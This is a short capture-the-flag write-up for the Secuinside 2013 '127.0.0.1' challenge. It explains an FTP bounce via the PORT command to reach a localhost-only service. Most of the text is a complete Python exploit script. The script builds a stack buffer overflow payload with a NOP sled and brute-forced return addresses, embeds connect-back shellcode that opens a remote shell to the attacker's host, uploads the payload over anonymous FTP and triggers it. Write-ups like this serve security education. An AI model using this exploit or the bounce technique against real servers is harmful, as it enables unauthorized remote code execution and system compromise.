Secuinside CTF Quals 2013 127.0.0.1 Writeup

We need to connect to a service restricted to be accessed from localhost only. An FTP server is also supplied to public.

Soon we realized that PORT command may help us bypass the limitation. For example,

PORT 127,0,0,1,12,60
RETR /path/to/payload

will make FTP server connect to 127.0.0.1:3126, and send content of the file to it.

We just used standard buffer overflow way to run connect back shellcode and get the key.

Note that FTP server sends and then closes socket immediately, which means payload too short will cause localonly breaking its own sending procedure in early stage. We need payload large enough to make send() blocked until recv() called in localonly. 64kB seems to be OK for that.

#!/usr/bin/env python2
import sys
from ftplib import FTP
from telnetlib import Telnet
import struct

from pwn import * # thanks pwnies
context('i386', 'linux', 'ipv4')

HOST = 
PORT = 
FTP_HOST = '54.214.247.89'

sc = asm(shellcode.connectback(HOST, PORT))

def get_payload(f, addr):
    f.write('\x90' * 88)
    f.write('\x00\xf2\xff\xbf')
    f.write(struct.pack('<I', addr))

    f.write('\x90' * (0x200 - len(sc) - 96))
    f.write(sc)
    f.write('\x90' * (0x10000 - 0x200))

def upload(f, path):
    ftp = FTP(FTP_HOST)
    ftp.login()
    ftp.set_pasv(False)
    print ftp.storbinary('STOR ' + path, f)
    ftp.quit()
    f.close()

def run(path):
    s = Telnet(FTP_HOST, 21, 5)
    print s.read_until('220')
    s.write('USER anonymous\n')
    print s.read_until('331')
    s.write('PASS a\n')
    print s.read_until('230')
    s.write('TYPE I\n')
    print s.read_until('200')
    s.write('PORT 127,0,0,1,12,60\n')
    print s.read_until('200')
    s.write('RETR %s\n' % path)
    print s.read_until('150')
    print s.read_until('226')
    s.write('QUIT\n')
    print s.read_until('221')
    s.close()


p = '/tmp/p'
fn = 'p'
for addr in xrange(0xbfffff80, 0xbfff0000, -0x80):
    f = open(fn, 'wb')
    get_payload(f, addr)
    f.close()
    f = open(fn, 'rb')
    upload(f, p)
    run(p)